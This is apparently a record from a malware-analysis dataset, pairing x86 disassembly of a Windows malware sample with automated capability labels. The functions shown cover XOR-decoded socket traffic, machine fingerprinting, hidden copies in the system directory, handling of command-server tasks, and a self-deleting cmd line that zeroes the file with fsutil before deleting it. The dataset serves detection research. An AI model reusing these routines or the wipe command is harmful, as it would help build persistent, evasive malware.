joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402d2c
Capabilities:
Encode data using xor
Get socket status
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
push ebx
push edi
xor ebx, ebx
push ebx
mov edi, 0x2003
call fcn.0040231c
pop ecx
mov dword [ebp - 4], eax
cmp eax, ebx
je 0x402e14
push esi
mov edi, dword [ebp + 8]
mov eax, dword [edi]
push ebx
mov dword [ebp - 0x10c], eax
mov eax, dword [edi + 4]
push ebx
mov dword [ebp - 0x108], eax
push ebx
lea eax, [ebp - 0x110]
push eax
push ebx
mov dword [ebp - 0x110], 2
call dword [sym.imp.WS2_32.dll_select]
cmp eax, 1
jl 0x402dfb
mov dword [ebp - 8], ebx
cmp dword [ebp - 0x110], ebx
jbe 0x402d51
mov eax, dword [ebp - 8]
mov eax, dword [ebp + eax*4 - 0x10c]
mov ecx, dword [edi]
cmp eax, ecx
jne 0x402da3
mov ecx, dword [edi + 4]
push ebx
push 0x2003
push dword [ebp - 4]
mov dword [ebp - 0xc], ecx
push eax
call dword [sym.imp.WS2_32.dll_recv]
mov esi, eax
cmp esi, ebx
jle 0x402dfb
mov cl, byte [edi + 8]
cmp cl, bl
je 0x402dd4
xor eax, eax
cmp esi, ebx
jle 0x402dd4
mov edx, dword [ebp - 4]
xor byte [edx + eax], cl
inc eax
cmp eax, esi
jl 0x402dc9
mov ebx, dword [ebp - 0xc]
push esi
push dword [ebp - 4]
call fcn.0040280d
pop ecx
pop ecx
cmp eax, esi
jne 0x402dfb
inc dword [ebp - 8]
mov eax, dword [ebp - 8]
xor ebx, ebx
cmp eax, dword [ebp - 0x110]
jb 0x402d90
jmp 0x402d51
mov esi, dword [edi]
call fcn.004028cc
mov esi, dword [edi + 4]
call fcn.004028cc
push dword [ebp - 4]
call fcn.0040241e
pop ecx
pop esi
pop edi
pop ebx
leave
ret

Function at 0x402e5a
Capabilities:
Create new key via cryptacquirecontext
Hash data via wincrypt
Hash data with md5
Initialize hashing via wincrypt

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push 0xf0000040
push 0x18
xor ebx, ebx
push ebx
push ebx
lea eax, [ebp - 0xc]
push eax
mov byte [ebp - 1], bl
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x402ee2
lea eax, [ebp - 8]
push eax
push ebx
push ebx
push 0x8003
push dword [ebp - 0xc]
mov dword [ebp - 8], ebx
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x402ed8
push ebx
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push dword [ebp + 8]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
push ebx
lea eax, [ebp - 0x10]
push eax
push dword [ebp + 0xc]
mov dword [ebp - 0x10], 0x10
push 2
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
push dword [ebp - 8]
test eax, eax
setne byte [ebp - 1]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
push ebx
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov al, byte [ebp - 1]
pop ebx
leave
ret
Function at 0x402ee8
Capabilities:
Get common file path
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x180
push ebx
xor ebx, ebx
cmp byte [0x40a3d8], bl
jne 0x403048
lea eax, [ebp - 0x180]
push eax
push ebx
push ebx
push 0x24
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
jne 0x403048
push esi
mov esi, dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
push edi
lea eax, [ebp - 0x180]
push eax
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetVolumeNameForVolumeMountPointA]
jmp 0x402f5a
lea eax, [ebp - 0x180]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveBackslashA]
lea eax, [ebp - 0x180]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
test eax, eax
je 0x402f6d
lea eax, [ebp - 0x180]
push eax
call esi
push 0x64
lea eax, [ebp - 0x7c]
push eax
lea eax, [ebp - 0x180]
push eax
call edi
test eax, eax
je 0x402f33
cmp byte [ebp - 0x72], 0x7b
jne 0x402f76
mov byte [ebp - 0x4c], bl
lea eax, [ebp - 0x72]
push eax
push dword [0x42ae58]
lea eax, [ebp - 4]
push 0x4073e8
push eax
call fcn.00402b9b
add esp, 0x10
test eax, eax
je 0x403046
lea eax, [ebp - 0x18]
push eax
push 0x20119
push ebx
push str.SOFTWAREMicrosoftCryptography
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x402fc5
lea ebx, [ebp - 0x18]
call fcn.004027a5
mov esi, eax
xor ebx, ebx
jmp 0x402fc7
xor esi, esi
cmp esi, ebx
je 0x402fe3
push esi
push 0x407448
push ebx
lea ecx, [ebp - 4]
call fcn.00402bec
push esi
call fcn.0040241e
add esp, 0x10
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 4]
call fcn.00402e5a
pop ecx
pop ecx
test al, al
je 0x40303d
movzx eax, byte [ebp - 5]
push eax
movzx eax, byte [ebp - 6]
push eax
movzx eax, byte [ebp - 7]
push eax
movzx eax, byte [ebp - 8]
push eax
movzx eax, byte [ebp - 9]
push eax
movzx eax, byte [ebp - 0xa]
push eax
movzx eax, byte [ebp - 0xb]
push eax
movzx eax, byte [ebp - 0xc]
push eax
movzx eax, word [ebp - 0xe]
push eax
movzx eax, word [ebp - 0x10]
push eax
push dword [ebp - 0x14]
push str._08X__04X__04X__02X_02X__02X_02X_02X_02X_02X_02X
push 0x40a3d8
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x34
push dword [ebp - 4]
call fcn.0040241e
pop ecx
pop edi
pop esi
mov eax, 0x40a3d8
pop ebx
leave
ret
Function at 0x403382
Capabilities:
Create process on windows
Get common file path
Move file
Self delete
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x254
push ebx
push esi
call fcn.00406772
xor ebx, ebx
mov byte [ebp - 0xc], al
cmp byte [ebp + 8], bl
je 0x4033f2
cmp al, bl
je 0x4033cc
lea eax, [ebp - 0x254]
push eax
push ecx
push 1
call fcn.00403ad9
pop ecx
pop ecx
push eax
call fcn.0040582a
pop ecx
pop ecx
test al, al
je 0x4033f2
lea eax, [ebp - 0x254]
push eax
call fcn.00405797
pop ecx
jmp 0x4033f2
cmp word [0x42b090], bx
jne 0x4033e8
push 0x42b090
push ebx
push ebx
push 0x8007
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
call fcn.00404ca0
call fcn.00404a29
push 6
push ebx
call dword [sym.imp.ole32.dll_CoInitializeEx]
push ebx
mov esi, 0x41ae58
push esi
push 0x3005
push 4
call dword [sym.imp.SHELL32.dll_SHChangeNotify]
push 4
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
mov dword [ebp - 8], ebx
cmp byte [ebp + 8], bl
je 0x403433
push dword [ebp - 0xc]
call fcn.00403ad9
pop ecx
push eax
push esi
push str._d__c_ping__n_2_127.0.0.1___NUL__fsutil_file_setzerodata_offset0_length524288___s___rmdir___s___s__q___NUL__exit
jmp 0x40343a
push esi
push esi
push str._d__c_ping__n_2_127.0.0.1___NUL__fsutil_file_setzerodata_offset0_length524288___s___del___s____NUL__exit
lea eax, [ebp - 8]
push eax
call fcn.00402b4e
mov esi, dword [ebp - 8]
add esp, 0x10
cmp esi, ebx
je 0x40348f
push 0x38
lea eax, [ebp - 0x44]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x48]
push eax
mov dword [ebp - 0x48], 0x3c
mov dword [ebp - 0x44], 0xc600
mov dword [ebp - 0x3c], str.open
mov dword [ebp - 0x38], str._COMSPEC_
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x2c], ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
push esi
call fcn.0040241e
pop ecx
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x403497
Capabilities:
Get file attributes
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
push esi
push 0x104
lea eax, [ebp - 0x208]
push eax
push 0x407910
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov esi, 0x40a440
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
or eax, 6
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea eax, [ebp - 0x208]
push esi
push eax
call fcn.00406334
pop ecx
pop ecx
pop esi
leave
ret
Function at 0x4035a5
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push dword [ebp + 8]
mov byte [ebp - 1], 0
call fcn.00402e18
pop ecx
test al, al
je 0x4035c5
mov byte [ebp - 1], 1
jmp 0x403603
cmp byte [ebp + 8], 0
push esi
mov esi, 0x40a440
jne 0x403619
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x403602
push 0
push 0
lea eax, [ebp - 1]
push eax
push 0x4034e8
push 4
push 1
lea eax, [ebp - 8]
push eax
push esi
mov dword [ebp - 8], str..exe
call fcn.00405f48
add esp, 0x20
pop esi
mov al, byte [ebp - 1]
leave
ret
lea eax, [ebp - 0x210]
push eax
call fcn.00405503
pop ecx
test al, al
jne 0x40362e
lea eax, [ebp - 0x210]
push eax
push esi
call fcn.0040582a
pop ecx
pop ecx
test al, al
jne 0x403608
jmp 0x403602
mov byte [ebp - 1], 1
jmp 0x403602

Function at 0x403634
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x470
push ebx
push esi
push edi
push 0x104
lea eax, [ebp - 0x21c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
je 0x403794
add eax, eax
lea ecx, [ebp + eax - 0x216]
lea ebx, [ebp + eax - 0x21c]
mov dword [ebp - 0x10], ecx
lea esi, [ebp + eax - 0x21a]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
mov word [ebx], ax
push str.__.exe
lea eax, [ebp - 0x21c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x19
pop eax
call fcn.004024f9
add eax, 0x61
mov word [esi], ax
push 0x19
pop eax
call fcn.004024f9
mov ecx, dword [ebp - 0x10]
add eax, 0x61
mov word [ecx], ax
lea eax, [ebp - 0x46c]
push eax
lea eax, [ebp - 0x21c]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
cmp eax, 0xffffffff
je 0x403674
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
xor edi, edi
push dword [edi + 0x40a328]
lea eax, [ebp - 0x440]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrIW]
test eax, eax
jne 0x403674
add edi, 4
cmp edi, 0xa8
jb 0x4036d4
lea eax, [ebp - 0x440]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
and dword [ebp - 0xc], 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x21c]
push eax
call dword [sym.imp.VERSION.dll_GetFileVersionInfoSizeW]
test eax, eax
je 0x403674
lea eax, [ebp - 0x21c]
push 6
push eax
call fcn.004061d3
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x403674
push str.install
push edi
call dword [sym.imp.SHLWAPI.dll_StrStrIW]
test eax, eax
jne 0x40376f
push str.setup
push edi
call dword [sym.imp.SHLWAPI.dll_StrStrIW]
test eax, eax
jne 0x40376f
push str.update
push edi
call dword [sym.imp.SHLWAPI.dll_StrStrIW]
mov byte [ebp - 5], 0
test eax, eax
je 0x403773
mov byte [ebp - 5], 1
push edi
call fcn.0040241e
cmp byte [ebp - 5], 0
pop ecx
jne 0x403674
lea eax, [ebp - 0x21c]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x403799
Capabilities:
Copy file
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x680
push ebx
push esi
push edi
push 0x104
lea eax, [ebp - 0x224]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
mov ebx, eax
test ebx, ebx
je 0x40396a
push dword [ebp + 8]
lea eax, [ebp - 0x224]
push eax
lea eax, [ebp - 0xc]
push 0x407950
push eax
mov byte [ebp - 5], 0
call fcn.00402b4e
add esp, 0x10
test eax, eax
je 0x40396a
lea eax, [ebp - 0x474]
push eax
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
cmp eax, 0xffffffff
je 0x403808
push eax
mov byte [ebp - 5], 1
call dword [sym.imp.KERNEL32.dll_FindClose]
push dword [ebp - 0xc]
call fcn.0040241e
cmp byte [ebp - 5], 0
pop ecx
je 0x40396a
push 0
mov edi, 0xfffe
call fcn.0040231c
pop ecx
mov dword [ebp - 0xc], eax
test eax, eax
je 0x40396a
and dword [ebp - 0x10], 0
push 5
pop eax
call fcn.004024f9
add eax, 2
mov dword [ebp - 0x1c], eax
cmp eax, 6
ja 0x403837
push dword [ebp + 8]
mov esi, dword [sym.imp.USER32.dll_wsprintfW]
lea eax, [ebp - 0x67c]
push str.___s
push eax
call esi
lea eax, [ebx + ebx]
lea ecx, [ebp + eax - 0x224]
mov dword [ebp - 0x18], ecx
lea ecx, [ebp + eax - 0x21e]
add esp, 0xc
mov dword [ebp - 0x14], ecx
lea edi, [ebp + eax - 0x222]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x18]
xor eax, eax
mov word [ecx], ax
lea eax, [ebp - 0x67c]
push eax
lea eax, [ebp - 0x224]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x19
pop eax
call fcn.004024f9
add eax, 0x61
mov word [edi], ax
push 0x19
pop eax
call fcn.004024f9
mov ecx, dword [ebp - 0x14]
add eax, 0x61
mov word [ecx], ax
lea eax, [ebp - 0x474]
push eax
lea eax, [ebp - 0x224]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
cmp eax, 0xffffffff
je 0x403955
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
lea eax, [ebp - 0x448]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [ebp - 0x448]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ebx, eax
push 0x19
pop eax
call fcn.004024f9
push dword [ebp + 8]
add eax, 0x61
movzx eax, ax
push eax
lea eax, [ebp + ebx*2 - 0x450]
push str._c_s
push eax
call esi
lea eax, [ebp - 0x448]
push eax
push 0x40a440
push str._s_s
push dword [ebp - 0xc]
call esi
add esp, 0x20
push 1
push dword [ebp - 0xc]
lea eax, [ebp - 0x224]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x403955
inc dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0x1c]
jne 0x403882
push dword [ebp - 0xc]
call fcn.0040241e
pop ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40396f
Capabilities:
Copy file
Create process on windows
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x264
push esi
lea eax, [ebp - 0x264]
push edi
push eax
call fcn.00403634
pop ecx
lea eax, [ebp - 0x264]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
push eax
push 0x40a440
lea eax, [ebp - 8]
push str._s_s
push eax
call fcn.00402b4e
add esp, 0x10
test eax, eax
je 0x403a72
call fcn.004067e9
mov edi, dword [ebp - 8]
push 0
push edi
push 0x41ae58
call dword [sym.imp.KERNEL32.dll_CopyFileW]
lea eax, [ebp - 0x264]
push eax
call fcn.00406577
pop ecx
push 6
push edi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov dword [ebp - 0x20], str..dll
mov dword [ebp - 0x1c], str..xml
mov dword [ebp - 0x18], str..cpl
mov dword [ebp - 0x14], str..vbs
mov dword [ebp - 0x10], str..tlb
mov dword [ebp - 0xc], str..ocx
xor esi, esi
push dword [ebp + esi*4 - 0x20]
call fcn.00403799
inc esi
pop ecx
cmp esi, 6
jb 0x403a0b
call fcn.00403497
cmp byte [ebp + 8], 0
push edi
je 0x403a2f
call fcn.0040564c
pop ecx
jmp 0x403a6b
call fcn.00404d13
pop ecx
push 0x38
lea eax, [ebp - 0x58]
push 0
push eax
call sub.MSVCRT.dll_memset
and dword [ebp - 0x40], 0
add esp, 0xc
lea eax, [ebp - 0x5c]
push eax
mov dword [ebp - 0x5c], 0x3c
mov dword [ebp - 0x58], 0xc600
mov dword [ebp - 0x50], str.open
mov dword [ebp - 0x4c], edi
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
push edi
call fcn.0040241e
pop ecx
pop edi
pop esi
leave
ret

Function at 0x403ad9
Capabilities:
Get common file path
Get program files directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x220
push ebx
push esi
xor ebx, ebx
push edi
mov esi, 0x40a440
cmp word [0x40a440], bx
jne 0x403b8c
cmp byte [ebp + 8], bl
je 0x403b3e
cmp byte [0x40a43c], bl
je 0x403b15
movzx eax, word [0x41a448]
push eax
push str._c:ProgramDataMicrosoft_
jmp 0x403b32
push ebx
push 0x26
lea eax, [ebp - 0x21c]
push eax
push ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
lea eax, [ebp - 0x21c]
push eax
push str._sWindows_NT_
push esi
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
jmp 0x403b56
push esi
push ebx
push ebx
push 0x1a
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
push str.Microsoft_
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
xor eax, eax
mov dword [ebp - 0x14], ebx
lea edi, [ebp - 0x10]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x14]
push eax
call fcn.00402ee8
push eax
call fcn.00402cab
movzx eax, word [ebp - 0xe]
push eax
movzx eax, word [ebp - 0x10]
push eax
push dword [ebp - 0x14]
push str.v2.0_2.0.0.0___x_x_x
push ebx
push esi
call fcn.00402c3c
add esp, 0x20
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x403b93
Capabilities:
Create a process with modified i/o handles and window
Create process on windows
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
push ebx
push esi
push edi
push 0x40
mov esi, eax
xor ebx, ebx
lea eax, [ebp - 0x60]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x41a448
mov dword [ebp - 0x64], 0x44
mov dword [ebp - 0x38], 0x101
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x2c], esi
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x64]
push eax
push ebx
push ebx
mov esi, str.cmd.exe
lea edi, [ebp - 0x20]
movsd dword es:[edi], dword [esi]
push ebx
push 1
movsd dword es:[edi], dword [esi]
push ebx
push ebx
movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x20]
push eax
push ebx
movsd dword es:[edi], dword [esi]
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x403c16
push 0xffffffffffffffff
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0xc]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x10]
call esi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x403dd1
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x41a650]
mov ecx, dword [0x41a654]
sub esp, 0x10
push ebx
push esi
xor esi, esi
xor edx, edx
push edi
cmp eax, esi
jbe 0x403dfa
mov edi, dword [ecx + edx*4]
cmp edi, dword [ebp + 8]
je 0x403e70
inc edx
cmp edx, eax
jb 0x403ded
lea eax, [eax*4 + 4]
push eax
push ecx
call fcn.00402393
mov edx, dword [0x41a650]
inc dword [0x41a650]
pop ecx
pop ecx
mov ecx, dword [ebp + 8]
push esi
push esi
push 4
push esi
push esi
push 0x40000000
push 0x41a658
mov dword [0x41a654], eax
mov dword [eax + edx*4], ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x403e70
push 2
push esi
mov dword [ebp - 0xc], esi
xor eax, eax
lea edi, [ebp - 8]
stosd dword es:[edi], eax
push dword [ebp - 8]
push dword [ebp - 0xc]
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
push esi
lea eax, [ebp - 8]
push eax
push 4
lea eax, [ebp + 8]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x403e75
Capabilities:
Create thread
Query or enumerate registry value
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00402154
mov dword [ebp - 8], eax
test eax, eax
je 0x40405c
mov esi, str.type
push esi
push eax
mov ebx, str.task_result
call fcn.004020d1
call fcn.00402ee8
mov edi, 0x407a90
push edi
push dword [ebp - 8]
mov ebx, eax
call fcn.004020d1
push edi
mov edi, dword [ebp + 8]
mov ecx, edi
call fcn.00401f42
pop ecx
mov ecx, eax
call section..text
cdq
push edx
push eax
push str.task_id
push dword [ebp - 8]
call fcn.0040209f
push str.port1
mov ecx, edi
call fcn.00401f42
pop ecx
mov ecx, eax
call section..text
push esi
mov ecx, edi
movzx ebx, ax
call fcn.00401f42
pop ecx
mov ecx, eax
call section..text
mov dword [ebp - 0x14], eax
sub eax, 0x64
je 0x404008
dec eax
je 0x404000
dec eax
je 0x403faf
dec eax
je 0x404000
dec eax
je 0x403fa8
dec eax
je 0x403f8b
dec eax
dec eax
jne 0x40405c
push str.gates
mov ecx, edi
call fcn.00401f42
mov edi, eax
pop ecx
test edi, edi
je 0x40405c
mov eax, dword [edi + 8]
xor ebx, ebx
jmp 0x403f52
mov eax, dword [eax]
inc ebx
test eax, eax
jne 0x403f4f
xor esi, esi
test ebx, ebx
je 0x40405c
test esi, esi
jns 0x403f68
xor eax, eax
jmp 0x403f73
push esi
mov eax, edi
call fcn.00401f26
add esp, 4
mov ecx, eax
call section..text
push eax
call fcn.00403dd1
inc esi
pop ecx
cmp esi, ebx
jb 0x403f60
jmp 0x40405c
push ebx
push dword [ebp + 0xc]
push edi
call fcn.00403077
add esp, 0xc
test al, al
je 0x40405c
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 1
call fcn.00403382
lea eax, [ebp - 4]
push eax
push 0x20119
xor esi, esi
push esi
push str.SYSTEMCurrentControlSetControlTerminal_ServerWinStationsRDP_Tcp
push closesocket
mov dword [ebp - 0xc], esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x403ffa
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push eax
push esi
push esi
push str.PortNumber
push dword [ebp - 4]
mov dword [ebp - 0x10], 4
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
movzx eax, word [ebp - 0xc]
jmp 0x404021
and dword [ebp - 4], 0
xor esi, esi
jmp 0x404024
push str.port2
mov ecx, edi
call fcn.00401f42
pop ecx
mov ecx, eax
call section..text
movzx eax, ax
xor esi, esi
mov dword [ebp - 4], eax
push esi
push 0xc
pop edi
call fcn.0040231c
pop ecx
mov cx, word [ebp - 4]
push esi
push esi
push eax
mov word [eax + 2], cx
mov ecx, dword [ebp + 0xc]
push 0x403ce7
mov dword [eax + 4], ecx
mov ecx, dword [ebp - 0x14]
push esi
push esi
mov word [eax], bx
mov dword [eax + 8], ecx
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40426e
Capabilities:
Check mutex on windows
Extract resource via kernel32 functions
Get file size
Initialize winsock library
Read file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x59c
push ebx
push esi
push edi
lea eax, [esp + 0x1a8]
push eax
push dword [ebp + 8]
call fcn.00403050
pop ecx
pop ecx
lea eax, [esp + 0x1a8]
push eax
xor edi, edi
push edi
push 0x42b084
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
test eax, eax
je 0x404471
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x404471
call fcn.0040684f
mov esi, eax
cmp esi, edi
je 0x4042dc
push esi
call fcn.00402946
pop ecx
push esi
mov dword [0x42ae5c], eax
call fcn.0040241e
pop ecx
push edi
mov esi, 0x41a658
push esi
push 0x400
push str..common_1.dll
call dword [sym.imp.KERNEL32.dll_GetFullPathNameW]
push 0xc
mov dword [0x41a650], 3
call fcn.00402384
pop ecx
mov ecx, dword [0x41a650]
mov dword [0x41a654], eax
cmp ecx, edi
jbe 0x404326
mov edx, 0x40a004
sub edx, eax
mov ebx, dword [edx + eax]
mov dword [eax], ebx
add eax, 4
dec ecx
jne 0x40431b
push edi
push edi
push 4
push edi
push edi
push closesocket
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [esp + 0x10], eax
cmp eax, 0xffffffff
je 0x4043c5
push edi
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
jmp 0x4043b7
push edi
lea eax, [esp + 0x18]
push eax
push 4
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x20]
mov dword [esp + 0x20], edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x41a650]
sub esi, dword [esp + 0x14]
mov ecx, dword [0x41a654]
xor edx, edx
cmp eax, edi
jbe 0x40438f
mov ebx, dword [ecx + edx*4]
cmp ebx, dword [esp + 0xc]
je 0x4043b7
inc edx
cmp edx, eax
jb 0x404381
lea eax, [eax*4 + 4]
push eax
push ecx
call fcn.00402393
mov edx, dword [0x41a650]
inc dword [0x41a650]
pop ecx
pop ecx
mov ecx, dword [esp + 0xc]
mov dword [0x41a654], eax
mov dword [eax + edx*4], ecx
cmp esi, edi
jne 0x404351
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 2
push edi
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov esi, eax
cmp esi, edi
je 0x404426
push 0x10
push 1
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
cmp eax, edi
je 0x40441f
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
je 0x40441f
mov cx, word [eax + 0x32]
mov word [0x41a440], cx
mov cx, word [eax + 0x30]
mov word [0x41a442], cx
mov cx, word [eax + 0x36]
mov word [0x41a444], cx
mov ax, word [eax + 0x34]
mov word [0x41a446], ax
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea eax, [esp + 0x18]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
xor esi, esi
cmp dword [0x41a650], edi
jbe 0x404468
mov eax, dword [0x41a654]
push dword [eax + esi*4]
call fcn.00404064
pop ecx
test al, al
jne 0x404468
push 0x3e8
call ebx
inc esi
cmp esi, dword [0x41a650]
jb 0x404446
push 0xea60
call ebx
jmp 0x40443c
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret